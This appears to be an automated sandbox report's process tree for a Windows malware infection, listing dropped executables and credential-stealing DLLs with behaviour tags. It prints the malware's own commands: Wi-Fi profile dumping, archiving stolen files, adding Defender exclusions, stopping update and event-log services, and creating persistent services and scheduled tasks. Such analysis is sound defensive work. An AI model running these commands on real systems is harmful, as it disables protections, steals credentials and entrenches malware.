      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:3880
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffa8aa49758,0x7ffa8aa49768,0x7ffa8aa49778
        5⤵
        
        PID:2848
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1648 --field-trial-handle=1776,i,18073427362759836217,15255402294298995540,131072 /prefetch:2
        5⤵
        
        PID:4304
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 --field-trial-handle=1776,i,18073427362759836217,15255402294298995540,131072 /prefetch:8
        5⤵
        
        PID:2780
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2088 --field-trial-handle=1776,i,18073427362759836217,15255402294298995540,131072 /prefetch:8
        5⤵
        
        PID:3184
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2932 --field-trial-handle=1776,i,18073427362759836217,15255402294298995540,131072 /prefetch:1
        5⤵
        
        PID:4928
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2976 --field-trial-handle=1776,i,18073427362759836217,15255402294298995540,131072 /prefetch:1
        5⤵
        
        PID:4052
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4368 --field-trial-handle=1776,i,18073427362759836217,15255402294298995540,131072 /prefetch:1
        5⤵
        
        PID:3588
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4616 --field-trial-handle=1776,i,18073427362759836217,15255402294298995540,131072 /prefetch:8
        5⤵
        
        PID:1132
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4736 --field-trial-handle=1776,i,18073427362759836217,15255402294298995540,131072 /prefetch:8
        5⤵
        
        PID:2364
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=948 --field-trial-handle=1776,i,18073427362759836217,15255402294298995540,131072 /prefetch:2
        5⤵
        
        PID:6592
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
    3⤵
    - Loads dropped DLL
    PID:1748
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
      4⤵
      Blocklisted process makes network request
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      PID:1316
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        
        PID:4800
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\180787823510_Desktop.zip' -CompressionLevel Optimal
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:340
- - C:\Users\Admin\AppData\Local\Temp\1000056001\dfe69c061c.exe
    "C:\Users\Admin\AppData\Local\Temp\1000056001\dfe69c061c.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    PID:596
- - C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
    "C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe"
    3⤵
    PID:2924
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    PID:872

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:4368

C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5068

C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2352
- C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe
  "C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:2128
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:4108
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 804
    3⤵
    - Program crash
    PID:1096
- C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe
  "C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:4100
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:4924
  - - C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe"
      4⤵
      Executes dropped EXE
      PID:168
  - - C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe"
      4⤵
      Executes dropped EXE
      PID:352
- C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe
  "C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:820
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Modifies system certificate store
    PID:4504
- C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
  "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe"
  2⤵
  - Executes dropped EXE
  PID:3688
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:5080
- - C:\Users\Admin\AppData\Local\Temp\1000193001\ISetup8.exe
    "C:\Users\Admin\AppData\Local\Temp\1000193001\ISetup8.exe"
    3⤵
    - Executes dropped EXE
    PID:164
  - - C:\Users\Admin\AppData\Local\Temp\u4k.0.exe
      "C:\Users\Admin\AppData\Local\Temp\u4k.0.exe"
      4⤵
      Executes dropped EXE
      PID:6132
  - - C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe
      "C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe"
      4⤵
      PID:4972
    - - C:\Users\Admin\AppData\Local\Temp\Zqicom_beta\UniversalInstaller.exe
        
        C:\Users\Admin\AppData\Local\Temp\Zqicom_beta\UniversalInstaller.exe
        5⤵
        
        PID:4804
      - C:\Users\Admin\AppData\Roaming\Zqicom_beta\UniversalInstaller.exe
        
        C:\Users\Admin\AppData\Roaming\Zqicom_beta\UniversalInstaller.exe
        6⤵
        
        PID:6912
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        7⤵
        
        PID:4876
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        8⤵
        
        PID:6776
  - - C:\Users\Admin\AppData\Local\Temp\u4k.1.exe
      "C:\Users\Admin\AppData\Local\Temp\u4k.1.exe"
      4⤵
      PID:6136
- - C:\Users\Admin\AppData\Local\Temp\1000194001\toolspub1.exe
    "C:\Users\Admin\AppData\Local\Temp\1000194001\toolspub1.exe"
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    PID:5176
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5176 -s 512
      4⤵
      Program crash
      PID:5596
- - C:\Users\Admin\AppData\Local\Temp\1000195001\4767d2e713f2021e8fe856e3ea638b58.exe
    "C:\Users\Admin\AppData\Local\Temp\1000195001\4767d2e713f2021e8fe856e3ea638b58.exe"
    3⤵
    PID:2332
- - C:\Users\Admin\AppData\Local\Temp\1000196001\FirstZ.exe
    "C:\Users\Admin\AppData\Local\Temp\1000196001\FirstZ.exe"
    3⤵
    PID:6016
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      PID:3580
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:5848
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:7968
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      4⤵
      Launches sc.exe
      PID:1304
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:7704
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      4⤵
      Launches sc.exe
      PID:7816
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      4⤵
      Launches sc.exe
      PID:7952
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      4⤵
      Launches sc.exe
      PID:1488
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      PID:7700
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      PID:7720
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      PID:7736
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      PID:7740
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "WSNKISKT"
      4⤵
      Launches sc.exe
      PID:7756
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:7148
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      4⤵
      Launches sc.exe
      PID:7368
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "WSNKISKT"
      4⤵
      Launches sc.exe
      PID:7344
- - C:\Users\Admin\AppData\Local\Temp\1000198001\Uni400uni.exe
    "C:\Users\Admin\AppData\Local\Temp\1000198001\Uni400uni.exe"
    3⤵
    PID:5152
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000198001\Uni400uni.exe" -Force
      4⤵
      PID:6116
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
      4⤵
      PID:5808
    - - C:\Users\Admin\Pictures\D54bwxj7zodKQ02hNLUitdp1.exe
        
        "C:\Users\Admin\Pictures\D54bwxj7zodKQ02hNLUitdp1.exe"
        5⤵
        
        PID:6604
      - C:\Users\Admin\AppData\Local\Temp\u53g.0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u53g.0.exe"
        6⤵
        
        PID:6856
      - C:\Users\Admin\AppData\Local\Temp\u53g.1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u53g.1.exe"
        6⤵
        
        PID:7660
    - - C:\Users\Admin\Pictures\P8EfjRvii77oExhCnJdE4cPt.exe
        
        "C:\Users\Admin\Pictures\P8EfjRvii77oExhCnJdE4cPt.exe"
        5⤵
        
        PID:6872
    - - C:\Users\Admin\Pictures\IewhgG5nRQnIXoCYhUOwr9lm.exe
        
        "C:\Users\Admin\Pictures\IewhgG5nRQnIXoCYhUOwr9lm.exe"
        5⤵
        
        PID:6952
    - - C:\Users\Admin\Pictures\DmW5QfkdsJVCspgyDqSZP1UD.exe
        
        "C:\Users\Admin\Pictures\DmW5QfkdsJVCspgyDqSZP1UD.exe"
        5⤵
        
        PID:6996
    - - C:\Users\Admin\Pictures\ETNHBP7deOzkT4BxuwZ9LrsP.exe
        
        "C:\Users\Admin\Pictures\ETNHBP7deOzkT4BxuwZ9LrsP.exe"
        5⤵
        
        PID:6752
      - C:\Users\Admin\AppData\Local\Temp\7zS8A25.tmp\Install.exe
        
        .\Install.exe /sQwdidHh "385118" /S
        6⤵
        
        PID:6732
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        7⤵
        
        PID:4816
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:7552
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        9⤵
        
        PID:7396
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        10⤵
        
        PID:4160
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 22:32:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\DHckGQf.exe\" em /jlsite_idDKb 385118 /S" /V1 /F
        7⤵
        Creates scheduled task(s)
        
        PID:7584
    - - C:\Users\Admin\Pictures\QbWi2jEIAUDNwkTr21dV08JU.exe
        
        "C:\Users\Admin\Pictures\QbWi2jEIAUDNwkTr21dV08JU.exe" --silent --allusers=0
        5⤵
        
        PID:6788
      - C:\Users\Admin\Pictures\QbWi2jEIAUDNwkTr21dV08JU.exe
        
        C:\Users\Admin\Pictures\QbWi2jEIAUDNwkTr21dV08JU.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x2a4,0x2a8,0x2ac,0x280,0x2b0,0x68f8e1d0,0x68f8e1dc,0x68f8e1e8
        6⤵
        
        PID:1436
      - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\QbWi2jEIAUDNwkTr21dV08JU.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\QbWi2jEIAUDNwkTr21dV08JU.exe" --version
        6⤵
        
        PID:5664
    - - C:\Users\Admin\Pictures\WbbYboEvBp6snnMFlC8SDJjN.exe
        
        "C:\Users\Admin\Pictures\WbbYboEvBp6snnMFlC8SDJjN.exe"
        5⤵
        
        PID:7384
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
      4⤵
      PID:4584
- - C:\Users\Admin\AppData\Local\Temp\1000200001\070.exe
    "C:\Users\Admin\AppData\Local\Temp\1000200001\070.exe"
    3⤵
    PID:5212
  - - C:\Users\Admin\AppData\Local\Temp\is-VR72N.tmp\is-Q5R70.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-VR72N.tmp\is-Q5R70.tmp" /SL4 $20248 "C:\Users\Admin\AppData\Local\Temp\1000200001\070.exe" 3710753 52224
      4⤵
      PID:5992
    - - C:\Users\Admin\AppData\Local\CD-DVD-Runner\cddvdrunner2333.exe
        
        "C:\Users\Admin\AppData\Local\CD-DVD-Runner\cddvdrunner2333.exe" -i
        5⤵
        
        PID:6352
    - - C:\Users\Admin\AppData\Local\CD-DVD-Runner\cddvdrunner2333.exe
        
        "C:\Users\Admin\AppData\Local\CD-DVD-Runner\cddvdrunner2333.exe" -s
        5⤵
        
        PID:6640
- C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe
  "C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe"
  2⤵
  - Executes dropped EXE
  PID:2296
- C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe
  "C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:2996
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:1276
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:4972
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
  2⤵
  - Loads dropped DLL
  PID:2960
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:1952
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      PID:3736
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\180787823510_Desktop.zip' -CompressionLevel Optimal
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6048
- C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
  "C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe"
  2⤵
  PID:5344
- C:\Users\Admin\AppData\Local\Temp\1000167001\build_1GyXIDXRUC.exe
  "C:\Users\Admin\AppData\Local\Temp\1000167001\build_1GyXIDXRUC.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:5632
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5784
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
  2⤵
  - Loads dropped DLL
  PID:1872
- C:\Users\Admin\AppData\Local\Temp\1000173001\Startup.exe
  "C:\Users\Admin\AppData\Local\Temp\1000173001\Startup.exe"
  2⤵
  PID:1056
- C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe
  "C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe"
  2⤵
  PID:5672
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe" -Force
    3⤵
    PID:6048
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
    3⤵
    PID:5364
  - - C:\Users\Admin\Pictures\Gv8A2OpVnB37BFXgyK3LklSk.exe
      "C:\Users\Admin\Pictures\Gv8A2OpVnB37BFXgyK3LklSk.exe"
      4⤵
      PID:4948
  - - C:\Users\Admin\Pictures\6pDn9thQFCk8ejkthWCcHdlQ.exe
      "C:\Users\Admin\Pictures\6pDn9thQFCk8ejkthWCcHdlQ.exe"
      4⤵
      PID:5300
  - - C:\Users\Admin\Pictures\0SlayC8KY4axLdgI56eBjScQ.exe
      "C:\Users\Admin\Pictures\0SlayC8KY4axLdgI56eBjScQ.exe"
      4⤵
      PID:4880
  - - C:\Users\Admin\Pictures\SdMpcFGzXnVRaG5zbcqQnP04.exe
      "C:\Users\Admin\Pictures\SdMpcFGzXnVRaG5zbcqQnP04.exe"
      4⤵
      PID:5640
    - - C:\Users\Admin\AppData\Local\Temp\u4co.0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u4co.0.exe"
        5⤵
        
        PID:6436
    - - C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe"
        5⤵
        
        PID:1700
      - C:\Users\Admin\AppData\Local\Temp\Zqicom_beta\UniversalInstaller.exe
        
        C:\Users\Admin\AppData\Local\Temp\Zqicom_beta\UniversalInstaller.exe
        6⤵
        
        PID:7672
        
        C:\Users\Admin\AppData\Roaming\Zqicom_beta\UniversalInstaller.exe
        
        C:\Users\Admin\AppData\Roaming\Zqicom_beta\UniversalInstaller.exe
        7⤵
        
        PID:7272
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        8⤵
        
        PID:7500
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        9⤵
        
        PID:5936
    - - C:\Users\Admin\AppData\Local\Temp\u4co.1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u4co.1.exe"
        5⤵
        
        PID:1392
  - - C:\Users\Admin\Pictures\X5B4OTUXTWIspwXrM3aXfdcU.exe
      "C:\Users\Admin\Pictures\X5B4OTUXTWIspwXrM3aXfdcU.exe" --silent --allusers=0
      4⤵
      PID:6308
    - - C:\Users\Admin\Pictures\X5B4OTUXTWIspwXrM3aXfdcU.exe
        
        C:\Users\Admin\Pictures\X5B4OTUXTWIspwXrM3aXfdcU.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x2a4,0x2a8,0x2ac,0x280,0x2b0,0x6aa5e1d0,0x6aa5e1dc,0x6aa5e1e8
        5⤵
        
        PID:6460
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\X5B4OTUXTWIspwXrM3aXfdcU.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\X5B4OTUXTWIspwXrM3aXfdcU.exe" --version
        5⤵
        
        PID:6960
    - - C:\Users\Admin\Pictures\X5B4OTUXTWIspwXrM3aXfdcU.exe
        
        "C:\Users\Admin\Pictures\X5B4OTUXTWIspwXrM3aXfdcU.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=6308 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240418223006" --session-guid=bc13f6ed-3760-49ed-ac07-a32c714a2cc6 --server-tracking-blob="MzI3OGRhMDYxYTQzMWRiZWZkM2FkNWJhY2I5NGNiZDAzZTg4NjE2NzliOTcxYzk3NTI2ODFjZWZiYWFiZWMyNjp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N19fNDU2Iiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTAiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzEzNDc5Mzk1LjYwODYiLCJ1dG0iOnsiY2FtcGFpZ24iOiI3NjdfXzQ1NiIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6Im1rdCJ9LCJ1dWlkIjoiNGI5NDUxYjMtY2U5Yi00Y2QwLTgxZGItNGI2NGU4ZjI4ZmFlIn0= " --silent --desktopshortcut=1 